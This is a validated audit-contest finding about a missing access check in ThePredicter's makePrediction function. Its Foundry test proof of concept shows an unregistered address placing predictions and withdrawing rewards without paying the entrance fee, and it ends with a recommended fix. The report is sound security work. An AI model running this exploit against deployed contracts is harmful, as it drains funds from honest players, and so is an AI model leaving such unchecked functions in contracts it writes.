Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Losing of access control in `ThePredicter::makePrediction`, everyone can call this function without paying entrance fee to become Player.

Description

The makePrediction function allows the Players to pay the prediction fee and in the same time to set their prediction for the corresponding match. So someone want to make a prediction must become Player before calling this function. But this function doesn't have appropriate check to ensure msg.sender is Player and therefore everyone can call this function without paying entrance fee to register.

Impact

In a scenario when the totalPositivePoints and the score of the malicious users are greater than zero, these malicious users can call withdraw function and take more money than they used to pay prediction fee.

Tools Used

Manual review and Founder.

PoC

Place this test in ThePredicter.test.sol

function test_losingAccessControlInMakePrediction() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
uint256 stranger3BalanceBefore = stranger3.balance;
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.withdraw();
uint256 stranger3BalanceAfter = stranger3.balance;
vm.stopPrank();
assert(stranger3BalanceAfter > stranger3BalanceBefore);
}

Test pass, stranger3 doesn't pay entrance fee to register but can make prediction and withdraw reward and have more money than before.

Recommendations

Add a mapping to keep track of Players.

contract ThePredicter {
.
.
.
+ mapping(address => bool) public isPlayer;
.
.
.
function approvePlayer(address player) public {
.
.
.
if (playersStatus[player] == Status.Pending) {
playersStatus[player] = Status.Approved;
players.push(player);
+ isPlayer[player] = true;
}
}
.
.
.
function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
+ require (isPlayer[msg.sender],"Must become player before making prediction!");
.
.
.
}
.
.
.
}
Updates

Lead Judging Commences

NightHawK Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.